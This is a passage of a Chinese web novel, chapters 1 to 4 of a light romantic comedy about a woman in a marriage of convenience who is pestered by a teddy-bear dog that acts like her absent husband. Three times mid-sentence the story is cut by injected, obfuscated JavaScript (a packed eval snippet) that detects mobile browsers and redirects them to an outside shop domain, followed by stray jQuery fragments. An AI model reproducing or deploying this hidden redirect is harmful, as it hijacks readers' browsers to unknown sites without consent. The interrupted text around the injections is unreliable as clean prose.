《我的室友是条狗》 1. 被狗堵门第一人 裴矜觉得,一定是老天在惩罚她和不熟的男人闪婚,不然很难解释一只狗子在她家门口堵着她不让她回家,眼神深情得看她仿佛在看老婆。 “汪!呜呜呜!” 棕色卷毛的小泰迪站起来还不足她的腿高,粗短的前爪扒着裴矜的裤腿,小爪子攥得死紧。 裴矜用力拽了拽裤腿,但没有拽动。 “我不是你家主人,你认错人了,快松手。”她冲着安静的门内喊了一声,“齐北宸,你在不在家?别窝在房里打游戏了,快出来帮忙!” 门内鸦雀无声,但裴矜没注意到,那只小泰迪在听到“齐北宸”三个字的时候如遭电击,黑色的豆豆眼直楞楞地看着她。 战斗一旦开始就不会终止。 一人一狗在家门口的扯裤腿大战持续了几分钟,当邻居张阿姨探头出来的那一刻,裴矜认命了。她没脸和邻居阿姨解释事情是怎么发生的,只好对张阿姨打招呼:“对不起,打扰到你了。” 张阿姨探出头看了一眼,目光在裴矜和小狗之间转了个来回,没说别的,只笑着说了句:“小裴回来啦?” 裴矜微笑着点点头算是打过招呼,她叹了口气后抱着狗子开门进入。 “败给你了,真是个小土匪。” 裴矜轻轻戳了戳狗脑袋,随后把狗放在软垫上。屋内很安静,齐北宸的房门大开着,里面空空荡荡。 是真不在家啊,也好。 裴矜安置完狗子就打电话给保安询问附近是否有狗子丢失的情况,在得到否定的回答后,她挂上电话,心里犯愁。 接是接回来了,可她没养过狗,真的要养它吗?裴矜有点不确定,心想着,不如先凑合一晚上,明天把狗带去派出所报案吧。她一个奉公守法的好市民哪怕对象是狗也得讲道理。 讲道理这套似乎对狗不太适应,裴矜打个电话的功夫,软垫上的狗已经没了踪影。 拜托,她上班一天了和领导才斗完,下班还要和狗开始下半场吗? 裴矜耐着性子开始搜索家里的角角落落。 “小土匪,小土匪?你去哪儿了?” 裴矜把家里翻了个底朝天,只剩下最后一个地方没有去翻过了——她的便宜老公齐北宸的卧室。 “齐北宸,我不是故意要进你卧室的,我是为了找狗。” 裴矜小声嘀咕了一句,慢慢推开齐北宸的房门。房间的布置和主人张扬的性格一样,墙壁上贴满了主人的海报,桌上还有各种裴矜叫不上名字的二次元手办,柔软的大床上赫然躺着一只在打小呼噜的狗。 呵,还真挺会挑的?裴矜挑挑眉,转念一想,心中警铃大作。 不对,它怎么跳上齐北宸的床了?要是被那个自恋狂魔看到了,还不得把这小泰迪抓去炖狗肉火锅? 三步并作两步走,裴矜一把从床上薅起了睡得正香甜的小泰迪。可怜的小狗还没搞清楚什么情况,只听到裴矜急匆匆的脚步声。 “那不是你睡的地方,当心被大魔王做成狗肉料理。” “汪?” 泰迪犬歪了歪狗头,似是对此话表示不解。裴矜却自顾自地替狗子收拾起了临时居所,嘴里碎碎念道:“那是我先生的房间,他万一要是对狗毛过敏或者不喜欢狗我是没办法养你的。你这狗就是吃定我心肠软,不会见狗不救,是不是?我和你说,我不说话不代表我认同,你最好乖乖睡觉,明天一早我带你去派出所……喂!你又要去哪儿?” 裴矜的话完全说给了空气听,小泰迪不管不顾,逮到机会就是要往齐北宸的房间钻。 “呜呜……汪汪!” 棕色的小卷毛一头扎进了香软舒适的床铺就不愿动弹,狗头埋在枕头里,只留着一条小狗尾巴甩啊甩的,好不惬意。 裴矜就没这么惬意了,想她纵横职场那么多年,堂堂裴主任阴沟里翻船,被一条狗给拿捏了,传出去可还得了? 裴主任vs泰迪犬round2fight! 裴矜在外一直是规规矩矩的模样,但面对非人生物也客客气气,除了面前这条狗。许是因为之前吃了这狗的亏,差点报废一条裤子,裴矜仗着狗小只她大只,试图以武力直接豪取。正在蓬松如云的枕头里舒服到哼唧的小狗哪儿会答应,四只爪子加上一口狗牙齐上阵,能抓哪儿就抓哪儿,死死地扯住床单、被褥、枕套等等一切能触及的地方,誓与裴矜顽抗到底。 裴矜也是纳闷了,怎么这狗那么喜欢往齐北宸床上钻?平时也没见齐北宸多喜欢狗,更没听说过他养过狗,难道便宜老公还是个吸狗体质? “汪汪汪!呜呜……” “你松牙好不好?我给你找个更舒服的窝还不行?” “呜呜呜……汪!汪!” 见泰迪犬那毅然决然的模样,饶是听不懂狗语的裴矜也明白了此狗的意思:想让我放弃?做梦! 一人一狗在齐北宸的卧室里大战一场,没了邻居阿姨的围观,一场混战场面之激烈称得上前所未有。 枕套被狗爪子扯出几道深深的口子,里面的棉絮四处乱飞,在空中一样漂浮着的还有泰迪犬的棕色小卷毛。白色絮状物和棕色毛发交织在一起,不过一分钟,一人一狗仿佛约好了一般同时打起了响亮的喷嚏。 “啊嚏!” “汪!呜……” 一场大战还没开始多久就因为响亮的喷嚏声画上了休止符。裴矜一边擤鼻涕,一边看着齐北宸床上委屈巴巴抱着枕头死也不肯撒手的狗子,顿时觉得这事有点荒唐。 就像她和齐北宸的婚姻一样荒唐。 裴矜和齐北宸是相亲认识的。裴矜喜静,齐北宸喜动。裴矜是合资公司的运营部新任主任,齐北宸是名不见经传的三流流量演员。八竿子打不着的两个人,被七大姑八大姨硬凑到了一起。饱受相亲摧残的两个奔三青年一拍即合,为了避免再次被亲戚朋友安排,他们决定闪婚,不带感情色彩的合伙人那种。 结婚前他俩约法三章:互不打扰,和平共处,谁有喜欢的人就痛快离婚,绝对不给彼此找麻烦,俗称开放式婚姻。 裴矜当时觉得这是自己这辈子做过最出格的事。好在婚后几个月,齐北宸闹腾归闹腾,一直很有分寸,安安分分当个室友,从未越界过。 但她更确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694103|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 定她的室友老公不会让一条狗不经本人同意就死活赖在他床上。 裴矜看着那只小泰迪,心里有个念头一闪而过。 “都说铲屎官没地位,我算是信了。”裴矜上了一天班,实在没精神和眼睛瞪得像铜铃的小狗耗,她想了想,试图和泰迪犬谈判,“我俩各退一步好不好,你的窝我一定给你安置妥当,你不满意我给你换,这里是别人的卧室,你不打招呼就大摇大摆睡人家床上,这不太好吧?” 小泰迪闻言,狗耳朵动了动,哼唧一声扑倒在枕头上秀翘臀,显然对这个提议不满意。 “你到底对齐北宸的气味是有什么执念啊?”裴矜扶额长叹一口气,咬着牙继续和油盐不进的狗主子沟通,“睡别人房这事我不能答应,别的随便你挑,这你总满意了吧!” 小泰迪的狗尾巴甩了几下,随后转过小小的狗头汪了一声,算是勉强答应。裴矜这才松了口气,像接待贵宾一样请狗主子下床。 “哎,你终于松口了,算我谢谢你。”裴矜跟在狗子身后,棕色的毛团在家里四处溜达,仿佛在巡逻自己的领地。 裴矜没有养狗的经验,她搞不懂是不是所有狗都那么有领地意识,一路跟着狗,一边摸出手机偷偷搜索,得到的答案是肯定的。 在陌生人家里就这么有领地意识了,这狗怕不是自来熟。 没等裴矜感叹多久,满大街散步了半天的泰迪犬确定了自己的落脚点。蓬松的卷毛一抖,小小的身子轻盈一跃落在了黑色丝绒的床单上,两只前爪交错一搭,一只睡美狗就这样水灵灵地躺在了裴矜自己的大床上。 睡不到男主人的床就睡女主人的床,这世界上还能找出那么精的狗吗? 裴矜是有点洁癖在身上的,平时不管下班多晚一定要洗完澡才会上床休息,现在被一只野生的泰迪犬给抢班夺权几个回合,她压抑了许久的怒火喷涌而出。 “下来。” 狗子不理她,还试图用老招数对付她。 人要是被同一只小狗以同样的招数击倒第二次,那是一件愚蠢的事,裴矜显然不是个愚蠢的人。她之前养过乌龟、小鸟,虽说都是好多年前的事了,但经验条还是有的。 两只手一起上阵抓着狗子的腰腹部不让它乱动,裴矜这次没让小泰迪讨到一点便宜。狗爪子抓哪儿,她就挠哪儿。借着完美的体力和身形优势,闹腾的狗子一转局势被裴矜拿捏在怀里,四只爪子不安地乱舞着。 “汪汪汪!” 小狗子没有一刻是乖顺的,嗓门倒是大得很,可惜家里除了裴矜再无第二个人,叫了也是白搭。 “安分一点,没见过这么不听话的狗。” 裴矜轻轻拍了一下狗屁股,径直走到浴室里。她不知道给狗洗澡是什么流程,但她接受不了不洗澡的狗。她都妥协让一只来路不明的狗睡她的床了,这狗怎么着也得学会谦让和尊重她才对。 打开浴室的门把狗放在浴缸里,裴矜的当务之急是学习如何给狗洗澡。她打开视频正认真学习着,忽然,浴室里传来哗啦啦的水声,这不同寻常的情况让裴矜暂停了视频,好奇地往浴室内部看去。 2. 氪命洗狗 淋浴器不知道怎么被打开了,小土匪整只狗泡在水里,左前爪搭在淋浴器的开关上,右前爪在光滑的浴缸壁上打滑,后面的两只爪子在水里死命扑腾。 问题来了,已知浴室无人进出,请问淋浴器是怎么被打开的? 裴矜看着罪魁祸首狗,一把把它捞起来,另一只手关掉了开关。 “我听说狗天生会游泳。”裴矜看向小土匪的眼神里充满了疑惑,“怎么你还能被水淹没?” 小土匪滴溜溜的豆豆眼里透露着迷惑,伸出舌头吐了吐,一副不太明白的傻狗模样。 这狗该不是洗个澡把自己智商给洗没了吧?裴矜心想着,又回忆起刚刚看的视频是怎么给狗子下水的,她托着小土匪的肚子和背,换了个朝向让狗子的后腿先下水。 小土匪试探性地先用尾巴扫了扫水面,再伸出一只小短腿,掌心的肉垫确认水不深,这才一点点整只狗泡在水里。 裴矜趴在浴缸旁丝毫不敢放松警惕,眼睛都不眨地看着狗子。 小土匪在水中渐渐找到了平衡感,四只爪子在浴缸里来回拨弄带起一小片水花,游泳的姿态憨态可掬。 裴主任想的完全是另一回事,她丝毫没有顾忌小土匪做狗的尊严,脱口而出:“原来这就是传说中的狗刨式,我还是第一次见。” 没过大脑的回答得到的是狗子甩了自己一身水,还在水里露出一颗狗头对着自己龇牙咧嘴。 “汪汪汪!” 好一只蛮不讲理的土匪狗,懒得和你计较。 裴矜不敢轻易给狗用人类的沐浴乳,打算用清水洗一遍,冲掉灰尘和泥土就好。 前面都好说。洗头,配合。洗背,配合。洗爪子,勉强配合。一碰到尾巴,小土匪整只狗炸了毛,死活不让碰。湿漉漉的小卷毛竖起来,蹭的一下跳出水面后缩在浴缸角落,豆豆眼里雾气蒙蒙。 裴矜举着毛巾的手悬在半空:“……你一条狗,至于吗?” 默默缩在角落里的小土匪狗头都不抬一下,短尾巴乱甩。 事已至此,说再多也没用,洁癖发作的裴矜直接上手按着狗子就要给它洗个干净,没想到这狗崽子居然还敢张嘴。 裴矜没反应过来,眼瞅着狗嘴开得老大。但让人纳闷的是狗嘴里的口水都快滴了她一手,小土匪也没真下嘴咬她一口,反倒是努力睁着那对本来就不大的眼睛拼命地观察裴矜的反应。 呵,现在狗子都那么厉害学会摆拍了吗? 裴矜见它有狗心没狗胆,凭着自己平时看宠物视频的经验把狗子里里外外洗了个干净,洗完之后小土匪整只狗都不好了,蜷缩在浴缸里,活似被裴矜给欺负狠了。 “我没弄伤你啊,干嘛和小媳妇似的,快点过来,不然一会儿该着凉了。” 裴矜拆了一条崭新的毛巾,捞过卷毛小狗放在腿上开始替它擦,小土匪一脸的不情不愿又不敢言语,哼哼唧唧的就差没给裴矜来一爪子。 裴矜越看越觉得她腿上的这个生物比起狗更像是个人,还是个中二期没过的少年人。她逗人的心起,忍不住开玩笑道:“怕什么啊,好歹是个男宝宝,那么怕羞可不行。” 小土匪整只狗立马进入红温模式,两只前爪拽着裴矜的膝盖上的布料叫得格外委屈:“汪~汪汪!” “好好好,不说。说一句就脸红,你这小狗怎么和人一样。”裴矜一边擦一边又憋不住实话大放送,“都说泰迪犬的颜值全靠造型撑着,今日一见果然是这样,小土匪你现在的颜值可以说是荡然无存。” 几次三番被裴矜叫成小土匪,狗子忍了。现在被质疑颜值不够,狗子忍无可忍。 狗脑袋一转,看到浴缸旁的洗手台上有一面镜子,小土匪立马改变了身体朝向,俩前爪一扒拉,后爪借力一蹬,站在了洗手台的边缘,稳住身子。因为刚刚洗过狗,浴室里水气弥漫,但透过镜面上的水珠,还是能清晰地看到卷毛糊在纤细的四肢上,耳朵耷拉,头部卷毛未经打理几乎要覆盖住整张狗脸的惨样。 别说什么颜值了,能识别出这坨生物是什么品种已是不易。 “嗷呜呜呜呜……” 被镜子里的真实情况打击得体无完肤,小土匪耷拉着耳朵,抽抽噎噎地开始哭了。 原来狗子也会哭吗?裴矜有点缺心眼地想,她一个女孩子也没那么爱美,时刻把颜值放在第一位,这狗子也忒臭美了吧。 不敢说实话让狗子道心破碎,裴矜借着狗子此刻固定的站姿加快了擦狗的速度,用毛巾一裹起身去客厅。 打开电吹风,调节好温度和风力,阵阵暖风吹散了棕色卷毛上的小水珠,原本黏在一起的海藻毛渐渐变得蓬松、柔软……嗯,好像有点打结。 裴矜自己就是长发,打结的时候只会稍稍用力一扯,毫无照顾狗子经验的她把这套操作一板一眼地复制黏贴在了小土匪身上,换来的是狗子撕心裂肺的惨叫声。 裴矜勉强用力气压制住试图起跳的狗子,绞紧脑汁开始骗狗:“我的错,宝宝不叫。刚刚的感觉都是错觉,一点都不疼。” 狗子不领情,不管不顾地从裴矜的怀里钻出来,径直奔向齐北宸房门口的落地镜,左照右照。裴矜赶紧跟在狗主子身后,生怕它又给捅出什么幺蛾子来。 小土匪收起两只狗爪,大半只狗贴在镜子上,它侧过身子把右侧的耳朵对准镜子,哪怕隔了一段距离的裴矜都发现它耳朵后面缺了一撮毛,而那撮毛现在就沾在裴矜的手指缝里。 双手一捻一搓往垃圾桶里一丢,迅速毁灭罪证,裴矜端出一副没事人的表情继续忽悠狗:“那是洗澡时候自然掉落的,旧的不去新的不来。” 小土匪的泳商不够,美商爆表,面对裴矜低劣的借口,它选择罢工了。 半只狗是干的,半只狗是湿的,一边是卷毛,一边是海带,割裂的元素同时出现在一只狗身上比毕加索的画还抽象。 狗屁股对准裴矜的方向,躺在沙发上一副半死不活的模样,裴矜算是知道天天在短视频里嚎主子难伺候的崽爸崽妈们是怎么过来的了。哄了半天,提供了一堆情绪价值,小土匪这才不情不愿地趴在裴矜腿上让她继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694104|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 吹风。 裴矜这下可不敢得罪汪主子了,全程小心翼翼的。吹风完毕,狗子的毕加索造型被裴矜转型成了雷鬼发型。 毫无经验的裴矜没招了,她在内心祈祷着小土匪千万别发现自己粗糙的手艺,以及时间会改变一切。 收起电吹风时她看到了狗子右耳后刚刚被自己薅秃的那块地方,近距离看特别明显秃了一小块。 裴矜有点心虚,毕竟是自己有错在前,作为人类临时饲主,该负的责她得担。她拿出了平板电脑,打算给狗子买点宠物衣服,像小土匪那么臭美的狗,应该是吃这招的吧?裴矜暗暗盘算着。 平板电脑的屏幕亮起,原本趴在一旁百无聊赖的小土匪立即耳朵竖起,以标准的小狗跨栏姿势落在裴矜的沙发上,它摇着尾巴看向屏幕上五颜六色的狗狗衣服,兴奋得连舌头都吐出来了。 小土匪有兴趣是好事,但裴矜此刻的注意力已经被一阵浓郁的味道全然夺走了注意力。 哪儿来的油味?她用力吸气闻了两口,确认这股散不去的“芳香”是源自刚刚洗完澡吹完风的小土匪。 狗子身上的味道都那么厉害,还是只有它是这样?一想到小土匪的前主人天天对着如此杰作,裴矜连连感叹对方是位真正的勇士。 小土匪不知道裴矜在想什么,它也没空去想裴矜的想法,眼前五颜六色的画面才是重点。左前爪在平板电脑上熟练地滑动着,粗短的爪子带动肉垫丝滑地切屏。 小土匪的道心还没碎,裴矜的三观要先碎了。这小土匪的原主人都给狗灌输了些什么东西啊,为什么一只狗连平板都会操作? 狗爪子比不过人手,裴矜把小土匪略微往旁边挪了一点以免挡住画面,正式加入战局开始购物。 购物进行得并不顺利,其一是因为近距离的狗油味太过刺鼻,其二是因为小土匪那令人窒息的审美。挑的东西不是蓝色就是黄色,颜色单一看在它是狗子色弱的份上裴矜表示理解,但此狗选择的款式也太风骚了吧,都能和骚包齐北宸去solo比高低了。 这些都是后话,在狗子不合常理地玩平板时,一股浓郁的狗油味正往裴矜的鼻子里钻。她改用嘴巴呼吸,绷着脸选了一套看上去非常有齐北宸风格的neta服装试图协商:“你看这套怎么样?深蓝色西装里面有白色衬衫,搭配还有大红色蝴蝶领结,设计感满满啊。” 小土匪闻言下意识看向了齐北宸台子上的手办。 这狗也太敏锐了,连她照着哪个手办模仿挑选的都猜得出? “没意见那就这套了。” 不给狗子作妖的时间,裴矜发动百万手速连带着一些狗子必需品一同下单。 东西买完,平板电脑屏幕一锁,裴矜一本正经地端着人类饲主的架势把半趴在平板上的小土匪转移放在沙发上,自己默默移开了一段距离:“我现在要去干活收拾你的烂摊子了,你乖一点哦,听到没?” 说完,裴矜随手拿着扫把就逃了。 这狗她是一秒都闻不下去了。明天……明天一定送去派出所! 3. 带着狗子去上班 裴矜第二天早上醒来的时候,她的床上空无一狗。 大毛巾上没有任何狗狗的残留物,干净得有点不合理,裴矜没管。反正今天就要把它送走了,管狗的事就留给它的原主人吧。 “咚咚咚” 隔壁房间传来一阵闹腾声。 裴矜以为是齐北宸回来了,起身换衣服,随口喊了声:“你回来了?” 隔壁的小声音不断,无人应答。 裴矜觉得自己错误判断了形式,换衣服的手一顿,又喊了一声:“小土匪?” 隔壁的声音停了一瞬,随后继续。 裴矜没了耐心,穿完衣服,声音拔高:“小土匪!” 动静没了,隔壁传来小狗讨好的叫声。 “汪呜~” 每次都这样,一点都不让人省心,和齐北宸一个样子,不回来也不说一声,把她发的消息当空气吗? “叮铃” 裴矜的手机适时响起,拿起来一看,正是才被自己在心里骂过的齐北宸姗姗来迟的消息。 齐北宸:表情包对不起.jpg 又是这样,先斩后奏,梦到哪出上哪出,毫无规划性。 裴矜原本还担心他是不是在外面和朋友们玩嗨了,见他上来就卖萌,问了一句。 裴矜:需要我去接你吗? 这次倒是秒回。 齐北宸:表情包摇头.gif ……他真的还好吗?确定不是喝多了还没醒酒? 不熟不好插手,裴矜回了句“行,剩下等你回来说”,就把手机锁屏扣上了,因为隔壁还有个更不安定的因素需要处理。 裴矜自认不是刘备,三请诸葛亮的事她干不出,何况对象是只狗。 一回生,二回熟,这次闯进齐北宸房间的裴矜一点心理负担都没有,进去第一时间在搜寻狗子的身影。 桌上床上都没有,裴矜最后在床底下捕获了这位捉迷藏高手。床底下很暗,裴矜看不清狗子的小爪子里攥了什么,只能隐约看出长方体的形状,落在地上的时候还发出了一声闷响。她上班赶时间实在没空细究,把狗子往外一抱就算完事。 小土匪被安置在餐桌旁,裴矜给自己弄了点燕麦片、三明治加个白煮蛋,顺带把昨天从“小梅屋”宠物店里买的狗粮给小土匪满上。 狗子对狗粮看都不看一眼,只全程注视着裴矜手里的东西。当裴矜端着三明治坐下的时候,小土匪立马实现了从地板到椅子,从椅子到桌子的二级跳跃,嘴巴一开,舌头一伸,冲着裴矜疯狂摇尾巴。 没有养过狗的裴矜也读懂了它的肢体语言,它这是想蹭自己的早饭呢。 好好一只狗,不吃狗粮想吃人饭,这是狗该做的事吗? 裴矜越发觉得此狗不宜久留,养得如此无法无天,饭桌那么神圣的地方都能二话不说跳上来,反了它了! 一手提溜着狗子的后脖子像抓猫似的放在狗子专属的食盆前,裴矜轻敲食盆边缘:“吃这个,上面的和你没关系。” 小土匪面露难色,哼哼唧唧地用小爪子扒拉着食盆边,硬是舔都不肯舔一口。 “娇气。”裴矜咽下三明治,眼角的余光时不时扫向小土匪,“店员推荐的上好皇家狗粮,亏不了你。我只给你五分钟的时间,五分钟后你要是还不吃,你就没的吃了。” 狗耳朵甩了甩,拨弄的小爪子停住了一瞬。在绝对的威压面前,小土匪非常配合地选择了低下自己傲娇的头颅,大快朵颐。 真欠,和齐北宸那货一模一样。 裴矜看到小土匪进餐时狼吞虎咽的动作,恍惚间想起了几个月前她和齐北宸一起去国外度蜜月。 不熟的夫妻俩外出度蜜月比和同事出差还尴尬,后者你能聊工作,前者能窒息到死。齐北宸此人国外和国内完全没有壁垒,逢人就喜欢了解对方身上有没有有趣的事,好吸收作为演员的经验。同为工作狂的裴矜表示理解,只是哥们你的度呢?他们下榻的酒店包早饭但有时限,差点聊到错过饭点就过头了。 当时齐北宸狼吞虎咽的干饭姿势就和小土匪没什么差别,他边吃还和裴矜道歉:“抱歉,聊上头了忘了还有你在旁边。下次再有这种情况,你就捅捅我。” 捅得动吗?皮糙肉厚肌肉男,指尖戳上去都能拐个弯。大气的裴矜看在他敬业的份上就不和他计较了。 小土匪就不一样了,小狗子一只,轻松拿捏。 五分钟时间一到,小土匪把盆子里一扫而空,还舔了舔了盆子,打了个饱嗝,一脸的意犹未尽。 裴矜见它吃饱了,给它倒了些水说道:“你乖乖在家等我,我下班就带你去派出所,一会儿王妈会来照顾你的。” 一听裴矜要走,狗子水也不喝了,绝招扒裤腿重出江湖,整只狗和挂件一样贴在裴矜身上,嘴里呜呜地叫。 “别闹。”裴矜收拾完餐盘,准备出门,“王妈在乡下养过许多小土狗,她肯定能把你照顾得很好。” 狗子不依,狗子继续抱小腿。 裴矜的时间不多了,她还赶着去上班,见说理说不过,拿着包就准备走。小土匪立即拽着她的包带子不给走。 “松口,听到没?”裴矜轻拍了一下狗头,“难不成你还指望我带你去上班?” 小土匪的眼睛瞪得老大,点狗头如捣蒜。 “哈?”裴矜无语地眨眨眼,“我是去上班,不是去玩,你这只小狗别想耍着我玩。” 小土匪沉默了几秒,叼着带子的牙齿开始嘎吱嘎吱地磨了起来。 裴矜的脸黑如锅底。这不仅是在挑战她的洁癖,还在挑战她打工人的底线。 她有招吗?有的,但做出来太缺德了,她办不到。 裴矜又一次选择了说服狗。 “我没包,装不下你。”裴矜指了指自己的包,欺负狗子不懂人类世界的法则,“装狗要用航空包,我没有。” 小土匪抛下了磨了几口的包带,从齐北宸的床底叼着一个粉色的航空包出来。 裴矜一眼就看出来,这个东西是齐北宸买的限量版动漫周边产品,这狗连这个都给翻出来了? 裴矜转念一想,顿感离谱。不对,这狗是怎么知道航空包的?难道它之前待过? 她掂了掂航空包的分量,发现里面似乎还塞了别的东西,于是继续试探狗:“我这样进地铁过不了安检。” 狗子立马从桌上贴心地为她叼来了齐北宸的爱车钥匙,小尾巴狂甩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694105|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 这狗不对劲。 几次三番和裴矜见招拆招打得有来有回,明明是第一天来家里却什么都知道,加上一言不合就往齐北宸房里钻……裴矜瞬间有了个离谱但合理的揣测。 这狗不会是齐北宸那厮养了来折腾自己的吧?! 至于为什么齐北宸要这样干,裴矜想不出原因,但锅已经扣在了不在场的齐北宸身上。 齐北宸,等你回家来,得好好问问你究竟干了些什么。 眼尖的裴矜瞥到了航空包里似乎被狗子夹带了私货,她选择按兵不动继续观察。在这条狗身上已经浪费了太多时间,裴矜把必需品一塞,狗子往里一丢就出门上班去了。 打开门迎面撞到了来上钟的家政阿姨王妈,裴矜点点头:“王妈,狗我带去上班了,剩下拜托你了。” 王妈提着新买的菜,对裴矜突然改变的决定愣了下后回以微笑:“好的太太,看来这狗和你很有缘分,路上小心。” 是挺有缘分的,能和人battle上的狗可不多,足以让小土匪载入狗界史册。 下车库,取车,放航空包一气呵成,裴矜打开音乐发动汽车去公司。 “Wewillwewillrockyou!” 充满节奏感的强劲音乐和超大分贝差点没把裴矜当场送走。 齐北宸,你开车听这些确定能好好开吗?三好市民裴矜在内心发出灵魂一问。 她调小了音量,发现副驾驶座上的狗子在航空包里用小短腿在打拍子。 ……这狗子的音乐品味居然和齐北宸如出一辙?有点意思。 裴矜到底没有换音乐,公司距离家里不远,一刻钟就开到了。都说狗子需要溜,虽然饲主不像话,但她这个代饲主还是很讲道理的。 等一下,如果这真是齐北宸的狗,那岂不是不能立马送派出所了? 裴矜的表情变得有些复杂。 家里有个闹腾张扬的齐北宸已经够可以的了,若是再加进来一条土匪狗……她的八字哟。 裴矜一脸苦菜花地决定下班了立刻和齐北宸去确认答案。 停完骚包的红色轿车,裴矜拎着航空包出车库的那一刻,所有人都对着她手里的粉色航空包行注目礼。 裴矜感觉很社死,狗子感觉很愉悦。航空包里小狗社牛属性大爆发,两只爪子扒着头顶上的拉链,一副跃跃欲试想要伸出头的模样。 裴矜的公司企业文化开放,公司里没那么多规矩。她拉开拉链把小土匪的狗头露出来,小狗子的狗耳朵都甩成了螺旋桨。 “汪!” 一声狗叫,万丈瞩目,更甭提现在是上班高峰期,在排队等电梯的人里不乏有些大胆的人已经借口来摸狗了。 裴矜不擅长拒绝人,对象是同个公司的同事更不好拒绝。她全程僵硬着一张脸,尴尬陪笑。包里的狗子却和她截然相反,蹭人手、舔舔手指、吐小舌头一套丝滑连招,人气鼎盛。 救命,能不能别那么社牛了,算她求这只狗大爷了。 “电梯来了,你们还不上去吗?” 一道清朗的男声打断了小土匪的人气握手会,众人恋恋不舍地散去。裴矜松了口气,刚想道谢,抬头对上了一张熟悉的脸。 4. 泰迪犬消失之谜 吕恪是今年新进的员工,名牌大学毕业又有海外读研的经历,专业性很强,更难得的是他没有当代年轻人的摆烂,反而冲劲十足。裴矜对这个有上进心的年轻人观感不错。 注意到了裴矜看向自己,吕恪侧身按下电梯的按钮后微微一笑:“早上好,主任。今天你好像有点特别。” “早上好。”裴矜回以同款微笑,电梯稳步上行。 闹腾的小土匪在看到吕恪的那一刻忽然安静了下来,它那双豆豆眼上下左右全方位地打量着吕恪。不是好奇,更多的是一种审视的意味。 裴矜没注意到,吕恪注意到了。他蹲下身,视线几乎与小土匪齐平,笑着对它招招手:“小朋友你好呀,你叫什么名字?” “……” 小土匪的乌黑小眼盯着吕恪看了半晌后才不情不愿地挤出一个“汪”。 真稀奇,还以为它见谁都那么社牛,原来还有不搭理? 裴矜在小土匪的身上隐约看出了一点齐北宸的影子,他也是这样,喜欢的就冲上去一顿狂吹,不喜欢虽不至于给人甩脸色,但不情愿三个字是一定刻在脸上的。 “它叫……其实我也不知道它叫什么。”小土匪三个字到了嘴边打了个转又咽回肚子里,裴矜欲言又止的模样引起了吕恪的好奇心。 电梯正好到了,吕恪挡住电梯让裴矜先走,自己落后一步,视线落在小土匪的脑袋上:“这样啊,不过我看它似乎很喜欢主任你呢。” 确实,喜欢和她唱反调这点完全不能否认。 裴矜耸耸肩,找了个听上去更合适的理由:“朋友临时的寄放的,相遇是缘分,我就把它带来了。没想到今天上班它的人气那么高。” 吕恪勾了勾唇角,调侃道:“毕竟公司里带家属的多,带宠物的少,主任你今天可是凭狗出名了。” 天呐,这种出名她一点也不想要,放过她好不好? 裴矜和吕恪在转弯口分开而行,裴矜提溜着航空包进入自己的独立办公室。办公室的风格一如裴矜本人,干净、整洁,以黑白色调为主,尽显商务精英风,唯有两株绿萝作为点缀。 放下背包在沙发上,裴矜的手刚伸向航空包,一团棕色小炮弹就精准砸在她手背上。 小土匪四爪张开,八爪鱼似的抱住她的手腕,小黑眼里写满了“你敢动一下试试”。 哟呵,胆子不小,都敢拦她了? 裴矜眼里的怀疑更甚:“……你包里藏了什么见不得人的东西?” 小土匪摇头。 “是你的私狗物品?” 狗子摇头,但摇了半下就僵住了。 裴矜眯起眼。 有演技,但不够多,回去让齐北宸给你好好进修一下吧。 单手把狗子拨到一旁,裴矜正打算暴力执法时,内线电话响了。 “裴矜,会议资料你有空准备一下。”顶头上司的语气随意却威压十足。 “好的,领导。” 挂上电话,裴矜深吸一口气,指了指小土匪的狗鼻子:“等我忙完了再审你。” “呜……汪!” 棕色小毛团欢快甩尾巴的动作太过得意,裴矜差点被气笑。 一整个上午,办公室里的人进进出出。小土匪见谁都摇尾巴,俨然把自己当成了办公室团宠。 唯独一个人除外。 吕恪敲门进来时,小土匪正趴在沙发缝上不知道在偷看着什么。前一秒还在愉快甩着小尾巴的狗子第一时间前爪一推,东西呲溜一下滑进了沙发的缝隙间,抬起狗头就死死盯着吕恪的脸。 埋首在电脑前的裴矜抬头的瞬间就正好捕捉到了这个画面,但她选择性装瞎。吕恪更是没把小土匪的攻击性放在心上,他把一杯刚泡好的茶水放在裴矜面前,温和地提醒:“主任,快到饭点了,我们打算叫外卖,你有什么想吃的吗?” 忙了一上午的裴矜心里淌过一丝暖流,她微笑着摇摇头:“谢谢,我中午还有个商务聚餐,就不一起了。” 吕恪收起手机,又贴心地问:“商务聚餐我记得一般在2号会议室举行,需要我提前做一些准备吗?” 